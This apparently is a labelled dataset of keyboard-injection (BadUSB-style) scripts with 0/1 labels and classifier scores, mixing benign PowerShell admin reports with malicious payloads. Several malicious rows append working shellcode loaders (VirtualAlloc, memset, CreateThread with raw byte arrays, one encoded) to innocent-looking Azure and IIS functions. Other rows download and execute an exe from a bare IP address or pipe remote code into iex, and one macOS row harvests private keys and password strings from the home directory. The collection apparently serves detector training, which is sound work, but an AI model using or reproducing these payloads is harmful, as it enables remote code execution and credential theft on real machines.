"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, HelpMessage=""Specify which Store to search within"")] enter [ValidateNotNullOrEmpty()] enter [ValidateSet(""iTunes"",""GooglePlay"")] enter [string]$Store, enter [parameter(Mandatory=$true, HelpMessage=""Specify the app name to search for within the Store"")] enter [ValidateNotNullOrEmpty()] enter [ValidatePattern(""^[A-Za-z\s]*$"")] enter [string]$AppName, enter [parameter(Mandatory=$false, HelpMessage=""Limit search results to the specified number (only valid for iTunes Store)"")] enter [ValidateNotNullOrEmpty()] enter [string]$Limit = ""1"" enter ) enter Begin { enter enter switch ($Store) { enter ""iTunes"" { enter $StoreAppName = ($AppName -replace "" "", ""+"").ToLower() enter $SearchURL = ""https://itunes.apple.com/search?"" enter $URL = $SearchURL + ""term=$($StoreAppName)"" + ""&entity=software&limit=$($Limit)"" enter } enter ""GooglePlay"" { enter $StoreAppName = ($AppName -replace "" "", ""%20"").ToLower() enter $SearchURL = ""https://play.google.com/store/search?"" enter $URL = $SearchURL + ""q=$($StoreAppName)&c=apps&hl=en"" enter } enter } enter } enter Process { enter enter switch ($Store) { enter ""iTunes"" { enter $WebRequest = Invoke-WebRequest -Uri $URL enter $WebRequestObject = ConvertFrom-Json -InputObject $WebRequest enter if ($WebRequestObject.Results -ne $null) { enter foreach ($Object in $WebRequestObject.Results) { enter $PSObject = [PSCustomObject]@{ enter ""AppName"" = $Object.trackCensoredName enter ""StoreLink"" = $Object.trackViewUrl enter } enter Write-Output -InputObject $PSObject enter } enter } enter } enter ""GooglePlay"" { enter $WebRequest = Invoke-WebRequest -Uri $URL enter $WebRequestObject = $WebRequest.Links | Where-Object { $_.innerText -like ""*$($AppName)*"" } enter if ($WebRequestObject -ne $null) { enter foreach ($Object in $WebRequestObject) { enter $PSObject = [PSCustomObject]@{ enter ""AppName"" = $Object.innerText enter ""StoreLink"" = ""https://play.google.com"" + $Object.href enter } enter Write-Output -InputObject $PSObject enter } enter } enter } enter } enter } enter enter",0,0,0.9999076,9.2342365e-05
"unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter Terminal enter delay_medium enter enter enter delay_medium enter clear enter enter enter delay_medium enter echo ""Starting local system security testing and reconnaissance..."" enter enter enter delay_medium enter echo ""----- System Information -----"" enter enter enter system_profiler SPHardwareDataType SPSoftwareDataType | grep -E ""Model Identifier|Processor Name|Memory|Serial Number|OS Version"" | sed 's/^\s*//' enter enter enter delay_medium enter echo ""----- Suspicious Processes -----"" enter enter enter ps aux | grep -E ""root|admin"" | grep -v grep | awk '{print $2, $11}' enter enter enter delay_medium enter echo ""----- Startup Items -----"" enter enter enter ls -la /Library/LaunchAgents /Library/LaunchDaemons ~/Library/LaunchAgents enter enter enter delay_medium enter echo ""----- User Accounts -----"" enter enter enter dscl . -list /Users | grep -v '_' enter enter enter delay_medium enter echo ""----- Sensitive Files -----"" enter enter enter find ~ -type f \( -iname ""*.key"" -o -iname ""*.pem"" -o -iname ""*.rsa"" \) 2>/dev/null enter enter enter delay_medium enter echo ""----- Sensitive Information -----"" enter enter enter grep -r -i -I --include='*.txt' --include='*.doc*' --include='*.xls*' --include='*.csv' --include='*.json' --include='*.xml' --include='*.conf' --include='*.config' --include='*.properties' --include='*.ini' --include='*.env' --exclude-dir='.git' --exclude-dir='node_modules' ""password\|username\|apikey\|secret"" ~ 2>/dev/null enter enter enter delay_medium enter echo ""----- Unsecured Files and Directories -----"" enter enter enter find ~ -type d \( -iname ""public"" -o -iname ""www"" \) 2>/dev/null enter enter enter delay_medium enter echo ""----- Security testing and reconnaissance completed! -----"" enter enter",1,1,5.808108e-05,0.99994195
"win+r enter powershell enter enter enter function Get-LogonHistory { enter param ( enter [string]$Computer = $env:COMPUTERNAME, enter [int]$Days = 1 enter ) enter enter $filterXml = "" enter <QueryList> enter <Query Id='0' Path='System'> enter <Select Path='System'> enter *[System[ enter Provider[@Name = 'Microsoft-Windows-Winlogon'] enter and enter TimeCreated[@SystemTime >= '$(date (date).AddDays(-$Days) -UFormat '%Y-%m-%dT%H:%M:%S.000Z')'] enter ]] enter </Select> enter </Query> enter </QueryList> enter "" enter $ELogs = Get-WinEvent -FilterXml $filterXml -ComputerName $Computer enter if ($ELogs) { enter $(foreach ($Log in $ELogs) { enter switch ($Log.id) { enter 7001 {$ET = 'Logon'} enter 7002 {$ET = 'Logoff'} enter default {continue} enter } enter enter New-Object PSObject -Property @{ enter Time = $Log.timecreated enter EventType = $ET enter User = (New-Object System.Security.Principal.SecurityIdentifier $Log.Properties.value.value).Translate([System.Security.Principal.NTAccount]) enter } enter }) | sort time -Descending enter } else { enter Write-Host ""Problem with $Computer."" enter Write-Host ""If you see a 'Network Path not found' error, try starting the Remote Registry service on that computer."" enter Write-Host 'Or there are no logon/logoff events (XP requires auditing be turned on)' enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0x0a,0x50,0x2d,0x9b,0x68,0x02,0x00,0x3b,0xb5,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1293493e-05,0.99994874
"win+r enter powershell enter enter enter function Test-CIisWebsite enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Name enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $manager = New-Object 'Microsoft.Web.Administration.ServerManager' enter try enter { enter $site = $manager.Sites | Where-Object { $_.Name -eq $Name } enter if( $site ) enter { enter return $true enter } enter return $false enter } enter finally enter { enter $manager.Dispose() enter } enter } enter enter Set-Alias -Name Test-IisWebsiteExists -Value Test-CIisWebsite enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.804996e-05,0.99994195
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_r7o1cqze"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4569475e-05
"win+r enter powershell enter enter enter  enter $containerName = ""pstestwlvm1bca8"" enter $resourceGroupName = ""pstestwlRG1bca8"" enter $vaultName = ""pstestwlRSV1bca8"" enter $resourceId = ""/subscriptions/da364f0f-307b-41c9-9d47-b7413ec45535/resourceGroups/pstestwlRG1bca8/providers/Microsoft.Compute/virtualMachines/pstestwlvm1bca8"" enter $policyName = ""HourlyLogBackup"" enter enter function Test-AzureVmWorkloadGetJob enter { enter try enter { enter $vault = Get-AzRecoveryServicesVault -ResourceGroupName $resourceGroupName -Name $vaultName enter $container = Register-AzRecoveryServicesBackupContainer ` enter -ResourceId $resourceId ` enter -BackupManagementType AzureWorkload ` enter -WorkloadType MSSQL ` enter -VaultId $vault.ID ` enter -Force enter enter Enable-Protection $vault $container enter enter $item = Get-AzRecoveryServicesBackupItem ` enter -VaultId $vault.ID ` enter -Container $container ` enter -WorkloadType MSSQL; enter enter $startDate1 = Get-QueryDateInUtc $((Get-Date).AddDays(-1)) ""StartDate1"" enter $endDate1 = Get-QueryDateInUtc $(Get-Date) ""EndDate1"" enter enter $jobs = Get-AzRecoveryServicesBackupJob -VaultId $vault.ID -From $startDate1 -To $endDate1 enter enter foreach ($job in $jobs) enter { enter $jobDetails = Get-AzRecoveryServicesBackupJobDetails -VaultId $vault.ID -Job $job; enter $jobDetails2 = Get-AzRecoveryServicesBackupJobDetails ` enter -VaultId $vault.ID ` enter -JobId $job.JobId enter enter Assert-AreEqual $jobDetails.JobId $job.JobId enter Assert-AreEqual $jobDetails2.JobId $job.JobId enter } enter } enter finally enter { enter Cleanup-Vault $vault $item $container enter } enter } enter enter function Test-AzureVmWorkloadWaitJob enter { enter try enter { enter $vault = Get-AzRecoveryServicesVault -ResourceGroupName $resourceGroupName -Name $vaultName enter $container = Register-AzRecoveryServicesBackupContainer ` enter -ResourceId $resourceId ` enter -BackupManagementType AzureWorkload ` enter -WorkloadType MSSQL ` enter -VaultId $vault.ID ` enter -Force enter enter Enable-Protection $vault $container enter enter $item = Get-AzRecoveryServicesBackupItem ` enter -VaultId $vault.ID ` enter -Container $container ` enter -WorkloadType MSSQL; enter $backupJob = Backup-AzRecoveryServicesBackupItem ` enter -VaultId $vault.ID ` enter -Item $item ` enter -BackupType ""Full""; enter enter Assert-True { $backupJob.Status -eq ""InProgress"" } enter enter $backupJob = Wait-AzRecoveryServicesBackupJob -VaultId $vault.ID -Job $backupJob enter enter Assert-True { $backupJob.Status -eq ""Completed"" } enter } enter finally enter { enter Cleanup-Vault $vault $item $container enter } enter } enter enter function Test-AzureVmWorkloadCancelJob enter { enter try enter { enter $vault = Get-AzRecoveryServicesVault -ResourceGroupName $resourceGroupName -Name $vaultName enter $container = Register-AzRecoveryServicesBackupContainer ` enter -ResourceId $resourceId ` enter -BackupManagementType AzureWorkload ` enter -WorkloadType MSSQL ` enter -VaultId $vault.ID ` enter -Force enter enter Enable-Protection $vault $container enter enter $item = Get-AzRecoveryServicesBackupItem ` enter -VaultId $vault.ID ` enter -Container $container ` enter -WorkloadType MSSQL; enter $backupJob = Backup-AzRecoveryServicesBackupItem ` enter -VaultId $vault.ID ` enter -Item $item ` enter -BackupType ""Full""; enter enter Assert-True { $backupJob.Status -eq ""InProgress"" } enter enter $cancelledJob = Stop-AzRecoveryServicesBackupJob -VaultId $vault.ID -Job $backupJob enter enter Assert-True { $cancelledJob.Status -ne ""InProgress"" } enter } enter finally enter { enter Cleanup-Vault $vault $item $container enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x69,0x79,0xe2,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1350657e-05,0.9999486
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_dvn223w9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4504727e-05
"win+r powershell enter if (Get-Command logparser.exe) { $lpquery = @"" SELECT COUNT(To_Lowercase(Cmd enter Line)) as ct, To_Lowercase(CmdLine) as CmdLineLC FROM *SvcFail.tsv GROUP BY enter CmdLineLC ORDER BY ct ASC enter enter",1,1,0.005512209,0.9944878
"win+r enter powershell enter enter enter function Test-E2EConnections enter { enter $resourceGroupName = ""to-delete-01"" enter $automationAccountName = ""fbs-aa-01"" enter $output = Get-AzAutomationAccount -ResourceGroupName $resourceGroupName -AutomationAccountName $automationAccountName -ErrorAction SilentlyContinue enter $connectionAssetName = ""CreateNewAzureServicePrincipalConnection"" enter $connectionTypeName = ""AzureServicePrincipal"" enter $applicationId = ""applicationIdString"" enter $tenantId = ""tenantIdString"" enter $tenantIdChanged = ""ContosoCertificate2"" enter $thumbprint = ""thumbprintIdString"" enter $subscriptionId = ""subscriptionIdString"" enter $connectionFieldValues = @{""ApplicationId"" = $applicationId; ` enter ""TenantId"" = $tenantId; ` enter ""CertificateThumbprint"" = $thumbprint; ` enter ""SubscriptionId"" = $subscriptionId} enter enter $connectionAssetCreated = New-AzAutomationConnection -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $connectionAssetName ` enter -ConnectionTypeName $connectionTypeName ` enter -ConnectionFieldValues $connectionFieldValues enter enter $getConnectionAssetCreated = Get-AzAutomationConnection -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $connectionAssetName enter enter Assert-AreEqual $connectionAssetName $getConnectionAssetCreated.Name enter Assert-NotNull $getConnectionAssetCreated.FieldDefinitionValues enter Assert-AreEqual $applicationId.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""ApplicationId"") enter Assert-AreEqual $tenantId.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""TenantId"") enter Assert-AreEqual $thumbprint.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""CertificateThumbprint"") enter Assert-AreEqual $subscriptionId.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""SubscriptionId"") enter enter Remove-AzAutomationConnection -Name $connectionAssetName ` enter -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Force enter enter $output = Get-AzAutomationConnection -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $connectionAssetName -ErrorAction SilentlyContinue enter enter Assert-True {$output -eq $null} enter } enter function Test-SetConnectionFieldValue enter { enter $resourceGroupName = ""to-delete-01"" enter $automationAccountName = ""fbs-aa-01"" enter $output = Get-AzAutomationAccount -ResourceGroupName $resourceGroupName -AutomationAccountName $automationAccountName -ErrorAction SilentlyContinue enter $connectionAssetName = ""CreateNewAzureServicePrincipalConnection"" enter $connectionTypeName = ""AzureServicePrincipal"" enter $applicationId = ""applicationIdString"" enter $tenantId = ""tenantIdString"" enter $tenantIdChanged = ""ContosoCertificate2"" enter $thumbprint = ""thumbprintIdString"" enter $subscriptionId = ""subscriptionIdString"" enter $connectionFieldValues = @{""ApplicationId"" = $applicationId; ` enter ""TenantId"" = $tenantId; ` enter ""CertificateThumbprint"" = $thumbprint; ` enter ""SubscriptionId"" = $subscriptionId} enter enter $connectionAssetCreated = New-AzAutomationConnection -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $connectionAssetName ` enter -ConnectionTypeName $connectionTypeName ` enter -ConnectionFieldValues $connectionFieldValues enter enter $getConnectionAssetCreated = Get-AzAutomationConnection -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $connectionAssetName enter enter Assert-AreEqual $connectionAssetName $getConnectionAssetCreated.Name enter Assert-NotNull $getConnectionAssetCreated.FieldDefinitionValues enter Assert-AreEqual $applicationId.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""ApplicationId"") enter Assert-AreEqual $tenantId.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""TenantId"") enter Assert-AreEqual $thumbprint.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""CertificateThumbprint"") enter Assert-AreEqual $subscriptionId.ToString() $getConnectionAssetCreated.FieldDefinitionValues.Item(""SubscriptionId"") enter enter $newApplicationId = ""UpdatedApplicationIdString"" enter Set-AzAutomationConnectionFieldValue -Name $connectionAssetName ` enter -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -ConnectionFieldName ApplicationId ` enter -Value $newApplicationId enter enter $getConnectionAssetUpdated = Get-AzAutomationConnection -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $connectionAssetName enter enter Assert-AreEqual $connectionAssetName $getConnectionAssetUpdated.Name enter Assert-NotNull $getConnectionAssetUpdated.FieldDefinitionValues enter Assert-AreEqual $newApplicationId.ToString() $getConnectionAssetUpdated.FieldDefinitionValues.Item(""ApplicationId"") enter enter Remove-AzAutomationConnection -Name $connectionAssetName ` enter -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Force enter enter $output = Get-AzAutomationConnection -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $connectionAssetName -ErrorAction SilentlyContinue enter enter Assert-True {$output -eq $null} enter } enter $aepXKZ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $aepXKZ -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xdb,0xbf,0xd9,0x6a,0x54,0x42,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xb1,0x47,0x31,0x78,0x18,0x83,0xc0,0x04,0x03,0x78,0xcd,0x88,0xa1,0xbe,0x05,0xce,0x4a,0x3f,0xd5,0xaf,0xc3,0xda,0xe4,0xef,0xb0,0xaf,0x56,0xc0,0xb3,0xe2,0x5a,0xab,0x96,0x16,0xe9,0xd9,0x3e,0x18,0x5a,0x57,0x19,0x17,0x5b,0xc4,0x59,0x36,0xdf,0x17,0x8e,0x98,0xde,0xd7,0xc3,0xd9,0x27,0x05,0x29,0x8b,0xf0,0x41,0x9c,0x3c,0x75,0x1f,0x1d,0xb6,0xc5,0xb1,0x25,0x2b,0x9d,0xb0,0x04,0xfa,0x96,0xea,0x86,0xfc,0x7b,0x87,0x8e,0xe6,0x98,0xa2,0x59,0x9c,0x6a,0x58,0x58,0x74,0xa3,0xa1,0xf7,0xb9,0x0c,0x50,0x09,0xfd,0xaa,0x8b,0x7c,0xf7,0xc9,0x36,0x87,0xcc,0xb0,0xec,0x02,0xd7,0x12,0x66,0xb4,0x33,0xa3,0xab,0x23,0xb7,0xaf,0x00,0x27,0x9f,0xb3,0x97,0xe4,0xab,0xcf,0x1c,0x0b,0x7c,0x46,0x66,0x28,0x58,0x03,0x3c,0x51,0xf9,0xe9,0x93,0x6e,0x19,0x52,0x4b,0xcb,0x51,0x7e,0x98,0x66,0x38,0x16,0x6d,0x4b,0xc3,0xe6,0xf9,0xdc,0xb0,0xd4,0xa6,0x76,0x5f,0x54,0x2e,0x51,0x98,0x9b,0x05,0x25,0x36,0x62,0xa6,0x56,0x1e,0xa0,0xf2,0x06,0x08,0x01,0x7b,0xcd,0xc8,0xae,0xae,0x78,0xcc,0x38,0xcb,0x3b,0xec,0x9b,0x83,0xc1,0xf0,0xca,0x0f,0x4f,0x16,0xbc,0xff,0x1f,0x87,0x7c,0x50,0xe0,0x77,0x14,0xba,0xef,0xa8,0x04,0xc5,0x25,0xc1,0xae,0x2a,0x90,0xb9,0x46,0xd2,0xb9,0x32,0xf7,0x1b,0x14,0x3f,0x37,0x97,0x9b,0xbf,0xf9,0x50,0xd1,0xd3,0x6d,0x91,0xac,0x8e,0x3b,0xae,0x1a,0xa4,0xc3,0x3a,0xa1,0x6f,0x94,0xd2,0xab,0x56,0xd2,0x7c,0x53,0xbd,0x69,0xb4,0xc1,0x7e,0x05,0xb9,0x05,0x7f,0xd5,0xef,0x4f,0x7f,0xbd,0x57,0x34,0x2c,0xd8,0x97,0xe1,0x40,0x71,0x02,0x0a,0x31,0x26,0x85,0x62,0xbf,0x11,0xe1,0x2c,0x40,0x74,0xf3,0x11,0x97,0xb0,0x81,0x7b,0x2b;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$aepX=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($aepX.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$aepX,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1101713e-05,0.99994886
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_i87w784q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_75.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.457251e-05
win+r powershell enter $w=new-object net.webclient;$w.UseDefaultCredentials=$true;$w.Proxy.Credentials= enter $w.Credentials;iex($w.downloadstring('https://topbrains.it/article/c-bat')) enter enter,1,1,7.847545e-05,0.99992156
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_mu9dledn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3975113e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_r8cu71gu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3776887e-05
